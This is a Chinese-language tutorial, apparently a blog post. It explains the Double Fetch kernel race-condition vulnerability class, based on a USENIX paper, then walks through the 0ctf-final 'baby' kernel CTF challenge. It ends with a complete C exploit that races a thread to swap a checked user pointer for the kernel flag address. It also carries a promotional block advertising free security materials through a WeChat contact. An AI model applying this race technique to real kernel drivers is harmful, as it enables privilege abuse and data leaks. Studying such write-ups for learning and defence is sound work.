條件競爭漏洞Double Fetch

前言

Double Fetch(雙取)是一種條件競爭的漏洞,相關的論文發表在USENIX,論文鏈接:https://www.usenix.org/system/files/conference/usenixsecurity17/sec17-wang.pdf

Double Fetch

Double Fetch是內核的一種漏洞類型,發生在內核從用戶空間中拷貝數據時,兩次訪問了相同一塊內存。如下圖示(圖片來自論文),內核從用戶空間拷貝數據時,第一次拷貝會進行安全檢測,而第二次拷貝時纔會進行數據的使用,那麼在第一次拷貝與第二次拷貝的間隙,就能夠進行惡意數據篡改。舉個例子,在第一次時從用戶空間中獲取了需要拷貝的長度,並進行長度的檢測,但是在第二次拷貝時會再次拷貝長度,並且根據該長度進行數據的拷貝。但是此時的長度是沒有經過校驗的,因此當該長度在第一次拷貝與第二次拷貝之間被修改,就會導致漏洞的發生。這種漏洞就被稱之爲Double Fetch。

image-20230713134722390

論文的作者總結了容易發生Double Fetch的情況,如下圖示(圖片來自論文)。通常用戶進程會通過指定的消息格式與內核進行通信,而消息格式通常由消息頭與消息體構成。消息頭包含了一些特殊屬性,比如消息的長度,消息的類型等。那麼內核通常會取出消息頭,根據消息頭的信息,進行不同的分支執行。若在進入分支後,內核依舊提取出消息頭,並使用了前面使用過的字段,就非常容易發生Double Fetch,因爲在這兩次提取的過程中,用戶態的程序可以修改消息頭。

image-20230713140815577

作者根據Double Fetch發生的場景,並將其進行分類

  • 類型選擇

  • 長度檢查

  • 淺拷貝

類型選擇

類型選擇的Double Fetch,如下圖示(圖片來自論文)。代碼截取自cxgb3 main.c。可以看到下述代碼首先通過copy_from_user函數從useraddr中拷貝數據到cmd中,而useraddr爲用戶空間的地址。而後續的流程會根據從useraddr中提取出的數據從而選擇執行。並且在每個分支中,又通過copy_from_user函數從useraddr的地址中取出數據,做後續的處理。若在後續的處理中又重複使用到了cmd那麼就會導致Double Fetch

image-20230713142023576

長度選擇

長度選擇的Double Fetch,如下圖示(圖片來自論文)。在第一次拷貝是通過copy_from_userarg中獲取數據,並且提取了header.Size,在第二次時又重複了這個過程,這就是明顯的Double Fetch。若在兩次提取之間修改了header.Size值,並通過aac_fib_send函數發送數據,那麼就會導致漏洞的發送,即可以泄露比原本header.Size值更大的數據量。

image-20230713143534035

淺拷貝

淺拷貝則是第一次的拷貝只是將指向用戶數據的指針拷貝到內核中,後續在將用戶數據拷貝進來。如下圖示(圖片來自論文)。第一次獲取時是通過指向用戶數據的指針的指針,而第二次同樣是這麼獲取的,那麼在第一次與第二次的間隔中修改指針的指向就會導致數據被修改。

image-20230713144330557

舉個例子,即內核拷貝時並不是把能夠讀取用戶數據的地址拷貝進來,而是將指向該地址的地址給拷貝進來,即下圖中的ptr,因此後續內核在讀取數據的時候都是通過ptr進行獲取,那麼在兩次獲取的中途修改了ptr的指向,那麼就可以使得內核指向惡意數據。

未命名文件

總結一下Double Fetch的利用流程

  • 內核會從用戶空間中獲取數據,並且會兩次獲取相同空間的數據

  • 在兩次獲取的過程中沒有檢測獲取的數據是否一致

  • 最後在兩次獲取的過程中,篡改該空間的數據

20180ctf-final-baby

題目鏈接:https://github.com/h0pe-ay/Kernel-Pwn/tree/master/0ctf-final-baby

【----幫助網安學習,以下所有學習資料免費領!加vx:yj009991,備註 “博客園” 獲取!】

 ① 網安學習成長路徑思維導圖
 ② 60+網安經典常用工具包
 ③ 100+SRC漏洞分析報告
 ④ 150+網安攻防實戰技術電子書
 ⑤ 最權威CISSP 認證考試指南+題庫
 ⑥ 超1800頁CTF實戰技巧手冊
 ⑦ 最新網安大廠面試題合集(含答案)
 ⑧ APP客戶端安全檢測指南(安卓+IOS)

在模塊中存在baby_ioctl函數,若rsi的值爲0x6666則會將flag輸出,由於是通過printk,因此需要通過dmesg輸出,若rsi爲0x1337,則會經過一個校驗函數,若通過該校驗流程,則會將flag的值與傳入的地址的內容進行比較,若內容完全一致,那麼則會將flag直接輸出,同樣的該輸出是通過printk,因此需要通過dmesg進行打印。

image-20230713151512178

接着看校驗函數,該函數很簡單,接受三個參數,a1a2a3,若a1 + a2 < a3則通過檢查。而a1的值是我們所控制的,即rdx寄存器的值,而a3的值則是通過&current_task中獲取的。

image-20230713151905552

可以發現從&current_task中獲取的地址爲0x7ffffffff000

image-20230713153756972

下圖爲用戶空間的地址分佈,可以看到0x7ffffffff000爲末尾地址,因此該檢測即使若傳入的地址是用戶空間地址則通過,傳入內核空間地址就不通過。

image-20230713154124891

這麼做的原因是因爲,flag字符串是硬編碼到驅動中的,若能夠讀取內核空間的內容,豈不是可以直接讀取了?因此該題做了隔離。

image-20230713154417553

那麼這題就能夠使用Double Fetch進行利用,重點來看檢測部分。驅動會進行三塊檢測

  • 檢查傳入的地址是否爲用戶空間的地址

  • 檢查傳入的地址的內容的值是否爲用戶空間的地址

  • 檢查傳入的長度是否與flag的長度一致

總的來說從用戶空間中我們傳入了一個結構體

typedef struct
{
    char *flag_addr;
    unsigned long flag_len;
};

image-20230713154600216

可以看到該題在檢測的時候獲取的用戶空間的地址v5,接着在循環過程中再一次獲得用戶空間的地址v5,在這兩次獲取的過程中並沒有去比較值是否被修改了,那麼就導致了Double Fetch

利用的思路如下

  • 在檢測階段,v5的我們使用用戶空間的變量值進行賦值,即v5 = buf

  • 而進入比較階段,v5的值我們使用flag的地址值進行賦值,即v5 = flag

那麼如何獲得進入比較階段的時間點呢,可以看到題目即使比較失敗也不會發生異常而是簡單的返回,因此我們可以開啓一個線程,不斷的修改v5 = flag即可

...
void *
rewrite_flag_addr(void *arg)
{
    pdata data = (pdata)arg;
    while(finish == 0)
    {
        data->flag_addr = (char *)target_addr;
        //printf("%p\n",data_flag.flag_addr);
    }
}
...
err = pthread_create(&ntid, NULL, rewrite_flag_addr, &data_flag);
...

具體流程如下圖,這裏用線程的原因

  • 主線程與子線程異步執行

  • 線程之間共享內存信息

因此可以利用其他線程去修改共享的內存

未命名文件 (1)

完整exp

#include <stdio.h>
#include <fcntl.h>
#include <string.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <pthread.h>
​
#define MAXSIZE 1024
#define MAXTIME 1000000
​
unsigned long target_addr;
int finish;
typedef struct 
{
    char* flag_addr;
    unsigned long flag_len;
}data, *pdata;
data data_flag;
int fd;
​
void *
rewrite_flag_addr(void *arg)
{
    pdata data = (pdata)arg;
    while(finish == 0)
    {
        data->flag_addr = (char *)target_addr;
        //printf("%p\n",data_flag.flag_addr);
    }
}
​
​
int main()
{
    fd = open("/dev/baby", O_RDWR);
    __asm(
        ".intel_syntax noprefix;"
        "mov rax, 0x10;"
        "mov rdi, fd;"
        "mov rsi, 0x6666;"
        "syscall;"
        ".att_syntax;"
    );  
    
    char buf[MAXSIZE];
    char *target;
    int count;
    int flag = open("/dev/kmsg", O_RDONLY);
    if (flag == -1)
        printf("open dmesg error");
    while ((count = read(flag, buf, MAXSIZE)) > 0)
    {
        if ((target = strstr(buf, "Your flag is at ")) > 0)
        {
            target = target + strlen("Your flag is at ");
            char *temp = strstr(target, "!");
            target[temp - target] = 0;
            target_addr = strtoul(target, NULL, 16);
            printf("flag address:0x%s\n",target);
            printf("flag address:0x%lx\n", target_addr);
            break;
        }
    }   
    data_flag.flag_addr = buf;
    data_flag.flag_len = 33;
    pthread_t ntid;
    int err;
    err = pthread_create(&ntid, NULL, rewrite_flag_addr, &data_flag);   
    for (int i = 0; i < MAXTIME; i++)
    {
        ioctl(fd, 0x1337, &data_flag);
        data_flag.flag_addr = buf;
        //printf("%d\n",i);
    }
    finish = 1;
    pthread_join(ntid, NULL);
    printf("end!");
    //system("dmesg | grep flag");
}

更多網安技能的在線實操練習,請點擊這裏>>

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章